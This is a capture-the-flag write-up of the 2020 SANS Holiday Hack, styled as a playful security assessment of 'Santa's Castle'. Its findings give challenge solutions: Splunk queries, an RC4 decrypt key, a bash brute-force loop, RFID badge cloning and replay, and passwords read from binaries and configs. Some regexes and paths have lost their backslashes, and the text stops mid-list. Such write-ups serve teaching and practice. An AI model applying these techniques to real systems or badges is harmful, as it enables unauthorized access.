2020 KringleCon HolidayHack Report - Brazzell

Father Christmas Consulting, LLC
ENTERPRISE SECURITY
ASSESSMENT DELIVERABLE
Santa’s Castle
CREATED BY: Curtis Brazzell
Wednesday, December20, 2020

Santa’s Castle – Enterprise Security Assessment Deliverable
Confidential – Elf Eyes and Ears Only! Version: V1 Page 2 of 50
EXECUTIVE SUMMARY........................................................................................................................................... 4
FINDINGS AND RECOMMENDATIONS ................................................................................................................... 6
RISK RATING AND CALCULATION ......................................................................................................................... 6
DEFICIENCIES MATRIX........................................................................................................................................... 7
PHYSICAL SECURITY REVIEW ............................................................................................................................ 8
PS01 – Unauthorized Access and Impersonation (Obj 6 – Splunk Challenge).............................................. 8
PS02 – Automotive Security Issues (Obj 7 – Sleigh’s CAN-D-BUS Problem & CAN-Bus Investigation) ...... 10
PS03 – Essential Machine Tampering (Regex Game).................................................................................. 12
PS04 – Unsecured Panel Operation Bypass (Obj 4 – Operate the Santavator) ........................................... 13
PS05 – Biometrics Bypass (Obj 10 – Defeat Fingerprint Sensor) ................................................................ 14
PS06 – Insufficient RFID Implementation (Obj 5 – Open HID Lock) ............................................................ 16
PS07 – Public Information Disclosure (Obj 1 – Uncover Santa’s Gift List) .................................................. 17
ENTERPRISE SECURITY TESTING FINDINGS ................................................................................................... 19
IOT ISSUES..................................................................................................................................................... 19
ET01 – Door Access Control Issues (Speaker Door Open)........................................................................... 19
ET02 – Food Control and Access Issues (Vending Machine) ...................................................................... 19
ET03 – Room Lighting Issues (Speaker Lights On) ...................................................................................... 22
ET04 – Phone Phreaking Issues for Tree Lights (33.6 Kbps)....................................................................... 22
WORKSTATION ISSUES................................................................................................................................. 25
ET05 – Unauthorized Access Issues (Linux Primer) .................................................................................... 25
ET06 – Shared User Accounts on Public Workstations (Unescape Tmux).................................................. 26
APPLICATION SECURITY FINDINGS................................................................................................................. 27
CODING AND CONFIGURATION ISSUES ....................................................................................................... 28
AT01 – Web Traversal & RCE (Obj 8 – Broken Tag Generator) .................................................................... 28
AT02 - Command Injection (Kringle Kiosk)................................................................................................... 29
AT03 – Hardcoded Credentials in Source (Obj 3 – PoS Password Recovery)............................................. 29
AT04 - Insufficient Random and Predictable PRNGs (Snowball Game)....................................................... 30
AT05 – Cloud Storage Information Disclosure (Obj 2 - Investigate S3 Bucket) ........................................... 32
AT06 - Secure Code Training Deficiencies (Scapy Practice) ........................................................................ 33
AT07 - Web Configuration and Error Handling Issues (Redis Bug Hunt)...................................................... 35
AT08 - Client-Side Validation Issues (Expert Elf Coder)................................................................................ 36
MISSING OR WEAK CRYPTOGRAPHY ISSUES.............................................................................................. 41

AT09 - Use of Cleartext Protocols (Obj 9 - ARP Shenanigans) ..................................................................... 41
AT10 - MD5 Weak Hashing Algorithms (Obj 11a,b – Blockchain Investigation).......................................... 44

EXECUTIVE SUMMARY
INTRODUCTION AND SCOPE
Santa’s Castle contracted Curtis Brazzell (CurtBraz) to perform an Enterprise Security Assessment after having
some issues with the security of their North Pole infrastructure. The engagement’s goal was nothing short of
saving Christmas (again) against advanced persistent threat actors determined to undermine Holiday Cheer.
This engagement was performed during the month of December 2020.
The specific scope points included: 1) Physical Security Review; 2) Enterprise Security Testing; and 3)
Application Security Testing.
The Physical Security Review was specifically requested by the North Pole staff due to some concerns about a
potential insider threat. There was evidence brought forth prior to the engagement which indicated equipment
had been tampered with, along with some physical impersonation attempts by senior staff personnel.
Walkthroughs were performed at Santa’s Castle to look for and document any security deficiencies which
could allow a physical threat actor to compromise the environment.
Enterprise Security Testing was requested to be part of the assessment by North Pole staff due to concerns
around Internet-of-Things (IoT) security since they have been having “issues” with physical controls such as
lights (trees and room), doors, and vending machines. Other concerns were around workstation security with a
specific focus on Linux terminals.
The Application Assessment included a thorough review of both software applications (thick clients) as well as
web applications. Source code was reviewed in some instances in addition to performing dynamic testing,
when applicable. Most issues could be mapped back to common findings in the OWASP TOP 10.
The scope points for this engagement assist Santa’s Castle with identifying any issues that may weaken the
organization’s information security posture. Recommendations have been provided that can help to resolve
technical issues that were identified during the engagement.
ASSESSMENT RESULTS SUMMARY
The narratives below summarize the findings. The context of the findings identifies practices and procedures
that contribute positively to the security of the environment and, therefore, should be sustained, in addition to
those that may present unacceptable risk and require remediation. Specific examples are provided where
appropriate to support our analysis. Detailed findings can be found within the main body of this report.
Areas to Sustain
1. History of Leading Security Initiatives (Blockchain, etc)
2. The Use of Third-Party Security Consulting Partners to Fill Security Skill Gaps
3. Annual Assessments
Areas to Consider Improvement
1. Screen Third-Party Consulting Partners
2. Improve Secure Coding Practices
a. Missing or Weak Cryptography
i. Insecure Hashing Algorithms (MD5)

ii. Weak Cipher Suites (RC4)
b. Code Injection Issues
c. Insufficient Use of Random Techniques
d. Directory Traversal
e. Error Handling
3. Implement Password Management
a. Shared Accounts
b. Hardcoded Credentials
c. No Authentication on Public Terminals
Additional details regarding these issues can be found within the main body of this report.
RECOMMENDED ACTIONS
The items below outline the strategic initiatives that would assist the Castle with securing its information
assets. The recommendations are represented from the systemic deficiencies identified during the
engagement.
1) Screen Third-Party Consulting Partners – Although we at Father Christmas, INC are in direct
competition with JF Consulting, we suggest that the North Pole screens all vendors, including us, in
future engagements. It has come to our attention that the founder of JF Consulting has recently been
indicted for intentionally sabotaging his customer’s environments. Vendors should be properly vetted to
ensure they are reputable and safe to partner with. We are FC INC would be happy to provide those
services, such Santa’s Castle be in the market for such work in the future.
2) Improve Secure Coding Practices – Multiple applications within the environment were susceptible to a
variety of critical attacks, due to vulnerabilities in the code and web application configuration settings.
Broken or non-existent encryption and hashing algorithms, code injection, directory traversal, error
handling, and insufficient random number generators were among the highlights of the engagement.
3) Implement Password Management – Terminals all over the castle were left unattended and were
meant to be publicly used by North Pole staff. However, there was little to no authentication on these
and most used the same “elf” user account. In addition to this, hardcoded credentials were found in at
least one critical application that did actually support authentication. These findings resulted in
multiple instances of unauthorized use by munchkins and other non-Castle personnel.

FINDINGS AND RECOMMENDATIONS
The findings denoted below are organized by the engagement components. The deficiencies matrix provides a
list of all the vulnerabilities, deficiencies, and configuration weaknesses identified during the engagement. The
hyperlink in the matrix provides a direct connection to the high-level compound finding that contains the
associated individual findings.
RISK RATING AND CALCULATION
Based on the unique client environment, a qualitative and quantitative balance is calculated per aggregated
finding or associated individual finding. The gum drop icons below depict the level of risk as High, Medium,
Low, or Informational.
High – High risk findings are critical in nature and should be remediated with urgency to lower the potential
risks of having the vulnerability or configuration exploited by an adversary.
Medium – Medium risk findings are moderate in nature and should be remediated in a timely manner to lower
the potential risks of having the vulnerability or configuration exploited by an adversary.
Low – Low risk findings provide a limited amount risk to the overall environment. They should be reviewed and
remediated over a longer period of time. Typically, lower risk findings can be reduced by incorporating more
strategic security best practices, but remediation is dependent on the risk tolerance of the organization.

DEFICIENCIES MATRIX
Physical Security Review
Risk Vulnerability Category
PS01 – Unauthorized Access and Impersonation (Obj 6 – Splunk Challenge)
PS02 – Automotive Security Issues (Obj 7 – Sleigh’s CAN-D-BUS Problem & CAN-
Bus Investigation)
PS03 – Essential Machine Tampering (Regex Game)
PS04 – Unsecured Panel Operation Bypass (Obj 4 – Operate the Santavator)
PS05 – Biometrics Bypass (Obj 10 – Defeat Fingerprint Sensor)
PS06 – Insufficient RFID Implementation (Obj 5 – Open HID Lock)
PS07 – Public Information Disclosure (Obj 1 – Uncover Santa’s Gift List)
Enterprise
Security
Testing
IoT Issues
ET01 – Door Access Control Issues (Speaker Door Open)
ET02 – Food Control and Access Issues (Vending Machine)
ET03 – Room Lighting Issues (Speaker Lights On)
ET04 – Phone Phreaking Issues for Tree Lights (33.6 Kbps)
Workstation
Issues
ET05 – Unauthorized Access Issues (Linux Primer)
ET06 – Shared User Accounts on Public Workstations (Unescape Tmux)
Application
Security
Testing
Coding and
Configuration
Issues
AT01 – Web Traversal & RCE (Obj 8 – Broken Tag Generator)
AT02 - Command Injection (Kringle Kiosk)
AT03 – Hardcoded Credentials in Source (Obj 3 – PoS Password Recovery)
AT04 - Insufficient Random and Predictable PRNGs (Snowball Game)
AT05 – Cloud Storage Information Disclosure (Obj 2 - Investigate S3 Bucket)
AT06 - Secure Code Training Deficiencies (Scapy Practice)
AT07 - Web Configuration and Error Handling Issues (Redis Bug Hunt)
AT08 - Client-Side Validation Issues (Expert Elf Coder)
Missing or
Weak
Cryptography
Issues
AT09 - Use of Cleartext Protocols (Obj 9 - ARP Shenanigans)
AT10 - MD5 Weak Hashing Algorithms (Obj 11a,b – Blockchain Investigation)

PHYSICAL SECURITY REVIEW
In December of 2020, a physical security assessment was performed at Santa’s Castle. This facility is located
at Shore Points in the North Pole. Several critical discoveries were made that related to deliberate attempts to
sabotage Christmas again in 2020, as was in the case in previous years. Santa’s Sleigh, a Sort-o-Matic toy
sorting machine, and the Santavator were just a few examples of physical technology that was tampered with
for this reason. Several deficiencies were also discovered with physical access controls such as biometric
devices and RFID readers. Lastly, a top-level staff member was impersonated for the sole purpose of
breaching access control methods.
PS01 – Unauthorized Access and Impersonation (Obj 6 – Splunk Challenge)
Description: Perhaps one of the most critical issues during the physical security assessment involved the
impersonation of Santa, himself. It was learned after the physical security review that one of Santa’s
contractors, Jack Frost, imitated Santa in order to gain access to physical locations as well as software
instances. This included Santa’s office with a biometric thumbprint reader, the Broken Tag Generator terminal,
and a Splunk instance. Jack Frost used Santa’s access to exploit a fear Santa had of the Lollipop Guild APT
group who he feared would attack KringleCon this year.
Risk Rating – High: Although Mr. Frost eventually acquired all of the information from the Splunk instance that
he needed, fortunately Santa had several protections in place to validate him as a user with his team. However,
the risk of unauthorized access like this to the environment is High, due to the fact that there is sensitive
MITRE ATT&CK weaknesses in the data store that would be useful to an adversary. The series of validation
questions are as follows:
1) How many distinct MITRE ATT&CK techniques did Alice emulate? = 13
index=attack | dedup "Test Number"
2) What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003?
(Put them in alphabetical order and separate them with a space) = t1059.003-main t1059.003-win
| tstats count where index=t1059.003* by index
3) One technique that Santa had us simulate deals with 'system information discovery'. What is the full name of the registry
key that is queried to determine the MachineGuid? = HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptography
index=attack "Test Name" = "System Information Discovery" (Gives you the Test Number 1 and Technique T1082)
index=t1082-win Guid="'{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'" EventData_Xml = *MachineGuid*
This Ensures "MachineGuid" is in the resulting data and only resulted in two hits, both registry calls to the
"Cryptography" key.
4) According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed?
(Please provide the alphanumeric UTC timestamp.) = 2020-11-30T17:44:15Z
index=attack "Test Name" = *OSTAP* | sort asc "Execution Time _UTC"

5) One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on
GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of
this component? = 3648
A couple of attack "Test Names" look promising. There is "PowerShell Registry RunOnce", "Reg Key RunOnce", and
"Reg Key Run". All three of these belong to the T1547.001 technique. I then went to https://github.com/frgnca and the
most popular (first pinned) repo is "AudioDeviceCmdlets". I then searched for "audio" in the “Test Name” field:
index=attack "Test Name" = *audio*
There was a hit which points to Technique T1123.
index=t1123* eventtype="ms-sysmon-process" ProcessId=* EventData_Xml=*Powershell*
CommandLine=*WindowsAudioDevice*
6) Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file
that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this
simulation? = quser
index=t1547.001* CommandLine = *.bat*
This results in just five items, all belonging to "batstartup.bat" except for Discovery.bat, which is pulled by a
PowerShell Download Cradle and belongs to Atomic Red Team, which suggests this is our batch file. Visiting the URL
for the cradle shows the raw GitHub batch contents and the last line is “quser”.
7) According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate
assigned to the Windows domain controller in the attack range? = 55FCEEBB21270D9249E86F4B9DC7AA60
index=* sourcetype=bro* source="/opt/zeek/logs/current/x509.log" "certificate.subject"="CN=win-dc-
748.attackrange.local"
This query showed me only x509 certificate events. There are only twelve unique "CN"s and only one with a hostname
containing "dc" (for Domain Controller). Expanding any one of these events showed a certificate.serial field which
contained our answer.
8) Challenge Question: What is the name of the adversary group that Santa feared would attack KringleCon? = The Lollipop
Guild
“This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:
7FXjP1lyfKbyDK/MChyf36h7
It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to
determine which one!"
RFC 7465 refers to the weak RC4 cipher suite, suggesting this is what the cipher text is encrypted with. Santa asks,
"My favorite phrase?" to which Alice responds, "I can't believe the Splunk folks put it in their talk!" Watching the "Dave
Herrald" talk there is a picture of "Santa" with a speech bubble saying, "Stay Frosty" at the end, which is the encryption
key. To decrypt:
output = (new Rc4B64Class()).Decrypt('7FXjP1lyfKbyDK/MChyf36h7','Stay Frosty');

Figure PS01a: Encryption Key Noticed During Dave’s Presentation
Remediation: Although challenge questions are a good addition to authentication, there were too many
information disclosures used that could aid an adversary like Jack Frost in getting the information they’re after.
The RC4 cipher is considered weak by today’s standards and the key was not complex. In fact, the key is
something that is said often in the North Pole and was easily guessable. Consider implementing a stronger
encryption suite with a complex and unique key in addition to more challenging verification questions in the
future to help prevent unauthorized access to the Splunk instance.
PS02 – Automotive Security Issues (Obj 7 – Sleigh’s CAN-D-BUS Problem & CAN-Bus
Investigation)
Description: There were two issues that were brought to our attention via Wunorse Openslae regarding a
transportation system known as Santa’s Sleigh. It seems “someone” hacked into the CAN-Bus of the sleigh
with the presumed attempt to thwart Christmas present deliveries. Wunorse asked us if we could help him
recover the original unlock code for the wireless keys by looking through a raw log from a CAN bus capture
where the engine had been revved up and down. There was one lock and unlock, followed by another lock in
the logs somewhere. Another, more critical issue was discovered once the sleigh was unlocked, which showed
that someone had not only tweaked the door locks, but the sleigh was not operating properly. The engine when
idling was acting sporadically, and the brakes shimmied when pressure was applied to them.
Risk Rating – High: For the first issue, FC consultants had the idea to group various CAN-Bus codes and sort
them by count, which helped to highlight the possible lock and unlock codes. We knew there were far less door
codes than there were acceleration codes in the logs.

Figure PS02a: Sort and Uniq Used to Show Unlock Code
Another method that would have worked for Wunorse, as demonstrated by FC consultants, was a brute force
attempt against all possible codes. Each answer had to be submitted to a script but this was trivial in a for loop
written in a bash one-liner:
while read unlockcode; do echo "$unlockcode" | cut -d "." -f 2 | cut -d ")" -f 1 | ./runtoanswer; done < candump.log
Figure PS02b: Brute Forcing the Correct Unlock Code with the Script Above
The issues with the sleigh’s performance, once unlocked, were relatively simple to correct. By simply
monitoring the behavior of the vehicle under normal circumstances, such as a started engine which was only
idling, we could determine there were random spikes in acceleration codes that someone had inserted to “jack”
with the RPMs. Once we eliminated it with a simple command to exclude 19B#0000000F2057 with an exact
match, the idling seemed more regulated. Next, Wunorse mentioned an issue with brakes when pressure was
applied, so we applied the brakes to see what we could notice in the bus logs. Interestingly, we noticed twice
as many events that started with zeros as there were Fs, so we assumed someone had inserted a lot of these

commands that start with F. To eliminate these, we had to use a broader approach and eliminate anything with
the brake code 080 and starting with Fs. Once we applied 080#FF* the sleigh was operational again for Santa.
Remediation: Security for the Can-BUS is difficult as this is typically provided by the vendor that supports the
sleigh models. However, our advice is to physically limit access to the ODBII port under the sleigh’s dashboard
to help prevent unauthorized access by malicious actors. Furthermore, a baseline “backup” should be logged,
similar to what Wunorse did for the lock and unlock events, so that if the performance of the sleigh was
compromised again in the future it could be compared against a known good standard.
PS03 – Essential Machine Tampering (Regex Game)
Description: Another machine that was tampered with in an attempt to thwart gift-giving this holiday season
was the Sort-o-Matic, a machine that sorts good toys from the misfit ones. Minty Candycane told us that the
machine leverages JavaScript regular expressions (REGEX) to know how to sort them correctly, and there are
eight expressions that need to be applied correctly.
Risk Rating – High: The risk to Christmas Cheer was high, again, because if the toys can’t be sorted by this
critical machine it would have to be done manually by the elves and there simply isn’t enough time before
Christmas. Fortunately, FC consultants were able to apply the correct REGEX in each step so the machine can
be fully operational again. This was tested against production instances of real toys, wrapped presents, and
trash. The commands are as follows:
1. Matches at least one digit
d
2. Matches 3 alpha a-z characters
([a-z][^a-z]*){3}
3. Matches 2 chars of lowercase a-z or numbers
^[a-z0-9]{2}
4. Matches any 2 chars not uppercase A-L or 1-5
^[a-z5-9M-Z]{2}
5. Matches three or more digits only
^d{3,}$
6. Matches multiple hour:minute:second time formats only
^([0-1]?[0-9]|[2][0-3]):([0-5][0-9])(:[0-5][0-9])?$

7. Matches MAC address format only while ignoring case
^([0-9a-fA-F][0-9a-fA-F]:){5}([0-9a-fA-F][0-9a-fA-F])$
8. Matches multiple day, month, and year date formats only
^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)dd$
Remediation: It is strongly recommended that authentication be required on the Sort-o-Matic in the future.
Additionally, like with Santa’s Sleigh, limiting physical access to the workshop and the Sort-o-Matic will help to
prevent these types of attacks in the future. There is a secure door just outside of the workshop that requires
an RFID badge. This should also be the case for access into the workshop since it is a privileged area. Lastly,
logging of the machine as well as a baseline configuration should be implemented along with change control
practices, so that unauthorized modifications to the machine are recognized and can be corrected in a timely
manner.
PS04 – Unsecured Panel Operation Bypass (Obj 4 – Operate the Santavator)
Description: Another area that was not properly secured from unauthorized tampering was the Santavator. An
access panel key was left in the compartment below the elevator buttons, exposing the circuitry underneath.
FC consultants were able to redirect the flow of electrons by short circuiting the panel with various objects
found on and around the Castle, allowing access to floors that were previously unavailable.
Risk Rating – Medium: The risk is especially heightened because guests of the Castle routinely operate the
elevator and it is not for North Pole staff only. This increased attack surface puts the Castle at risk, which,
combined with the biometric bypass also discovered with the Santavator, increases the overall risk even
further. Fortunately, the areas accessible in this exercise were all supposed to be available to guests already,
so the risk is only a moderate one. The following configuration was used to gain access to most of the floors,
although many were tested successfully and also are possible:

PS04a: Access Panel Configuration with Key Left by North Pole Maintenance Personnel
Remediation: Staff should be trained to make sure all inventory is tracked and accounted for at all times. This
can be done by checking in and checking out keys and other security equipment at the beginning and end of
each shift. Other personnel can use the log to help keep each other accountable from theft or from accidentally
leaving the equipment behind. The keys should be engraved, “Property of Santa’s Castle – DO NOT COPY” to
help thwart unauthorized individuals from creating duplicate keys.
PS05 – Biometrics Bypass (Obj 10 – Defeat Fingerprint Sensor)
Description: Building off of the previous finding, FC consultants also identified one restricted floor which
belonged to Santa’s personal office. Although a fingerprint sensor is required to access this floor, our
consultants were able to bypass any need for biometrics by altering a button for a floor that wasn’t restricted,
to instead take us to Santa’s 3rd
floor.

Figure PS05a: Inspecting the Dev Console Element for the 2nd
Floor Button and Modifying it to Activate Floor 3
Risk Rating – Medium: The issue with the elevator is one of access control. Since this is a digital, high tech
elevator, the buttons only act as a client-side interface. There’s another machine that acts as the server which
receives the request and takes the user to the correct floor. However, the issue here is with server-side
validation. Instead of non-Santa personnel’s access being checking for permissions on the back-end, the
elevator determines what floor is allowed. This can be bypassed trivially, as demonstrated by the FC team. It is
apparent this is not a known vulnerability, since Tinsel Upatree seemed surprised to see someone other than
Santa in his office.
Remediation: Staff should be trained to report violations such as this, since Tinsel could have prevented the
Blockchain tampering that Jack Frost was a part of if he would have reported seeing us initially. It is assumed
Jack gained access in a similar way and likely after our exploit. That, or Tinsel wasn’t on duty at the time Jack
first gained access to Santa’s office. The other, more suitable solution is to require the elevator software on
the server to validate a user’s request based on their account and role. It should not be left up to the elevator’s
button numbers to determine which floor a guest can have access to, for reasons demonstrated above.

PS06 – Insufficient RFID Implementation (Obj 5 – Open HID Lock)
Description: Although Santa’s Castle does a great job with implementing RFID badge readers, there are some
issues identified that can result in unauthorized access. Mainly, HID Cards could be read, stored, and later
replayed to gain access to the dark room behind Santa’s portrait. Jack Frost clearly used this room to
impersonate Santa himself, as you can see in the captured CCTV footage below:
Figure PS06a: Standing Near an Elf with a Valid HID Card to Clone and Replay to Gain Access to the Room
Figure PS06b: Captured CCTV Footage of Jack Frost Standing Near Elves and Replaying at the Reader
The screenshot above is a tag ID which is directly encoded from the Facility Code (113) and Card ID (6022).
This means that we only needed to know those numbers (which are printed on the card itself) to clone the card

for replaying later. Most low frequency tags don't have any kind of complex authentication scheme or any
protection against replay attacks. It's a simple matter to scan an existing working card and create a clone. FC
consultants used a high-powered reader which allowed us to steal RFID tags from multiple feet away. In all, we
cloned six valid badges and used Shinny Upatree’s in order to gain access to the restricted room.
Holly Evergreen : #db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
Angel Candysalt : #db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040
Sparkle Redberry: #db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
Noel Boetie: #db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000
Bow Ninecandle : #db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023
Shinny Upatree: #db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025
Risk Rating – Medium: Although physical access is required in addition to close proximity for an attacker to
clone a card, many North Pole personnel are regularly present outside of the Castle within public gathering
areas. This makes it easy for a motivated attacker with a Proxmark or other similar device to get within a few
feet and clone a valid card for use later. As part of this assessment, we started to build a script that would
allow us to scan cards continuously throughout the Castle passively, but we ran out of time. If we get around to
it after the submission of this report we’ll share on Twitter!
Remediation: Consider using higher-frequency RFID readers that make it more difficult for an attacker to clone.
Class 1, Gen 2 tags can support passwords and encryption, though not every chip supports it. Since Santa’s
Castle only currently has one door with an RFID reader, it should be relatively low cost to replace this reader
and the six badges assigned with a newer technology that isn’t as vulnerable. Once this is implemented, all
rooms considered to be sensitive or restricted should be protected with this technology, and managed by the
Castle’s security personnel.
PS07 – Public Information Disclosure (Obj 1 – Uncover Santa’s Gift List)
Description: Although not a high-severity issue, one thing our FC consultants noticed upon arrival by the
gondola was a billboard off of the turnpike advertising to people to come visit the North Pole. The picture was
of Santa’s desk and a gift list was on it. Although efforts were made to obfuscate this potentially sensitive data
from the public eye by using a Twirl photo post-processing effect, it was easily reversible and the contents
could be read.

Figure PS07a: Billboard off of the Turnpike
Figure PS07b: Zooming in and Using the Twirl Effect in the Opposite Direction, The Contents Can be Made Known
Risk Rating – Low: Although a low-severity risk, it is similar to last year’s assessment with the insufficiently
redacted PDF. This is considered an information disclosure vulnerability because the information could the
North Pole at risk by attackers looking to use this in a larger-scale attack in the future. For example, knowing
Jerry wants a “Trip to the North Pole”, this information could be used to target him in a unique spear-phishing
social engineering campaign with information specific to his interests in an attempt to lure him into giving up
his credentials. This could put Santa’s entire network at risk.
Remediation: Redacting sensitive information is a good and common practice to follow, although there are
some that are better than others. Choose one that is not easily reversible, such as the twirl effect noticed in
this finding. Also, don’t simply add a black bar over the sensitive parts on a PDF with the actual text still
underneath, as was in the finding in 2019’s report. Instead, use a blur or replace the current layer instead of
adding a layer on top of the image, ensuring the content has been altered and is irreversible.

ENTERPRISE SECURITY TESTING FINDINGS
The findings below highlight issues identified during the Enterprise Security Testing component of the
engagement. The testing focused on the Castle’s networks, devices, servers, workstations, and services to
identify vulnerabilities that may put the environment at risk from the Tooth Fairy, Jack Frost, munchkins, and
other threat actors. Several critical issues relating to Internet-of-Things (IoT) devices and workstations were
among the most notable findings discovered.
IOT ISSUES
ET01 – Door Access Control Issues (Speaker Door Open)
Description: The door to the speaker room is network-connected and has an IoT interface from a terminal
outside of the room. FC consultants arrived after-hours and noticed through the window the lights and
equipment were off inside of the room, and the door was locked. Gaining access to the terminal, the
consultants noticed a “./door” application in the home directory of the shared elf user account. We ran
“strings” against it and saw a hardcoded password, “Op3nTheD00r”, clearly visible in the ASCII output.
Risk Rating – High: Being a simple attack, the risk is high since anyone looking to gain access to the room is
already within reach of the terminal. This is further compounded by the fact that there was a shared user
account already authenticated and the application binary was written with a hard coded password. This attack
can be pulled off quickly and easily, giving guests and other unauthenticated users access directly into a
restricted environment.
Remediation: We previously recommended changing all door locks to support better RFID readers. However, if
the IoT lock is retained and used, ensure that the application is written in a way that does not hard code
credentials. In addition to keeping people from seeing it within cleartext in the binary, it will allow visitors to
have their own unique credentials as well as access roles and will be more dynamic, allowing users to change
their credentials without having to rewrite the application each time.
ET02 – Food Control and Access Issues (Vending Machine)
Description: Once the FC consultants gained unauthorized access into the speaker unprep room, an IoT
vending machine was visible just to the right of the entrance. It was disabled, but curiously the same terminal
that operated the door also controlled the vending machine and the room lights, which is covered in the next

section. Our testers identified a Denial of Service vulnerability that could allow an attacker to restrict access to
critical food and beverage resources within the break room which would be a disaster for KringleCon speakers.
Figure ET02a: IoT Vending Machine (Why Does Every Gadget Have to Talk Now?)
Risk Rating – High: The risk is high due to the catastrophe that would come from a food and beverage
shortage. I heard elves don’t like to be hungry, so this could very well be weaponized to attack Santa’s Castle
guests and staff. Getting the vending machine to turn on (it was initially off) proved to be more difficult than
both the door and the lights had been, however, it was ultimately possible from that same terminal from
outside of the room due to the use of weak encryption ciphers that store and retrieve credentials.
Our testers first took a look at the app with “strings” just like we had done with the door. From the output we
could see that a new configuration file would be created if the old one was missing, referring to the “vending-
machines.json” file. There was a “lab” directory that contained copies of production code which we could
leverage for our testing purposes. Deleting the config, the application would allow us to create our own set of
credentials, which was then encrypted and saved as a “password” value in the config. Our testers submitted
“AAAAAAAAAAAA”, as we typically do when fuzzing input, and to our surprise the pattern repeated every eight
characters which suggested to us that this wasn’t a strong encryption cipher under the hood. We believe this
cipher to be a Caesar cipher or other shift cipher, but we were not able to confirm this.
We were able to leverage a spreadsheet and a text editor to create every character in the utf-8 keyspace which
repeated eight times with a space in between. We submitted this as our “password” and had the application re-
create the config. This gave us a mapping for each character up to eight characters, which we knew would
start over at nine. We then chose a password that we knew (Basketball), and tested our spreadsheet against it.
What we discovered was that this cipher must shift characters, so we came up with a method of our own to
account for this which included highlighting columns.

Figure ET02b: Enumerating All Encrypted Character Mappings in the Keyspace
Figure ET02c: A Custom Polyalphabetic Lookup Table With Offsets Used to Break Encryption

We were able to work backwards from the cipher text and eventually unravel our plaintext word, so we applied
that same technique to the production password in the json config outside of the lab directory. Using this, we
were able to gain access to the vending machine and turn it on with the password, “CandyCane1”.
Remediation: The application should remediate this vulnerability from two approaches. First, a stronger, more
current cryptographically secure cipher should be used in place of the current one to prevent someone from
easily figuring out the key. Secondly, if the configuration file does not need to be accessible, consider removing
access to it by restricting permissions from other users. Alternatively, the credentials could be stored within a
database so an end user wouldn’t be able to view even the encrypted contents.
ET03 – Room Lighting Issues (Speaker Lights On)
Description: Still in the Speaker UNprep room, another IoT vulnerability with the same terminal was the room
lighting, itself. This was controlled by the “lights” script and used a configuration file that stored a username
and an encrypted password. FC consultants noticed that the password could be updated directly within the
config without a “E$” prefix, which caused the app to ignore the encryption and accept our credentials within
the test script. This made us wonder how the encryption was being leveraged within the config and we learned
that the username and password fields are both handled the same way. The username was echoed back to the
user on the terminal, so we used the encrypted production password as our username and attempted to log in
again. What we saw echoed out by the application in plaintext was the actual production password, allowing us
to toggle the room lights for better visibility with the command, “Computer-TurnLightsOn”.
Risk Rating – Medium: Although not as critical an issue as the door or the vending machine, an attacker who
has remote access to facility lighting can cause problems for people within the room. This can even lead to
personal injury, as we couldn’t see anything while we were in the room without proper lighting. We all typically
bring cell phone with built-in LED flashlights but we all accidentally left ours back at the office, prompting us to
take a closer look at the terminal.
Remediation: This application should not decrypt values stored in the username field since there is no
apparent reason for this functionality to be supported. If it is required, consider not reflecting the decrypted
plaintext value back to the user in the welcome banner message.
ET04 – Phone Phreaking Issues for Tree Lights (33.6 Kbps)
Description: While taking a snack break in the kitchen during the on-site penetration testing activities, we ran
into Fitzy Shortstack, who told us he was unable to gain access back into the IoT Christmas lights synced
throughout the Castle. He explained that the outdated technology is controlled by a 33.6 Kbps dial-up modem

using dial tones in a configuration handshake, but the exact order was forgotten by Fitzy. After a brief Denial of
Service ourselves from an overload of nostalgia, we were surprised to learn that all we had to do was match
the tone to the one we remembered from our childhoods and the tree lights would change color. The exact
sequence was baaDEEbrrr aaah WEWEWWrwrrwrr deDURRdunditty SCHHRRHHRTHRTR.
Figure ET04a: Fitzy Next to the Phone and the Christmas Tree Lights
Figure ET04b: Dial-up Handshake Sequence

Risk Rating – Medium: This took us instantly back to the days of Steve Wozniak and Captain Crunch, phone
phreaking to exploit free long-distance calls. We realized the impact a remote attacker could have on the
Castle tree lighting by using the same technique we had, although it is less critical. Since this is the North Pole
and Christmas is taken very seriously here, we decided to upgrade the severity from a Low to a Medium.
Remediation: The lights should be controlled with modern equipment and Fitzy should not push back against
his peers who want him to move to the cloud. With the way the current setup is implemented, there is no
authentication, access control, or logging to prevent or monitory an unauthorized user from changing the tree
lights at will. The number is not internal to the Castle either, meaning it is publicly accessible to anyone know
knows it. War dialing efforts can listen for the tones and identify it if a dedicated adversary like Jack Frost were
to want to ruin the Christmas spirit when Santa’s Sleigh returns.

WORKSTATION ISSUES
ET05 – Unauthorized Access Issues (Linux Primer)
Description: The “Lollipop Maker” explained to FC consultant that all the lollipops on a public system in the
courtyard had been stolen by munchkins. Upon further investigation, we did confirm their access and were able
to track them down and “capture” each one. The following sequence of commands were used:
1. echo munchkin_9394554126440791
2. ls
3. cat munchkin_19315479765589239
4. rm munchkin_19315479765589239
5. pwd
6. ls -a
7. history
8. printenv
9. cd workshop (thought head into workshop was a play on words for "head")
10. cat toolbox_* |grep 'munchkin' -I
11. chmod +x lollipop_engine && ./lollipop_engine
12. cd /home/elf/workshop/electrical/ && mv blown_fuse0 fuse0
13. ln -s fuse0 fuse1
14. cp fuse1 fuse2
15. echo "MUNCHKIN_REPELLENT" >> fuse2
16. file | find /opt/munchkin_den munchkin
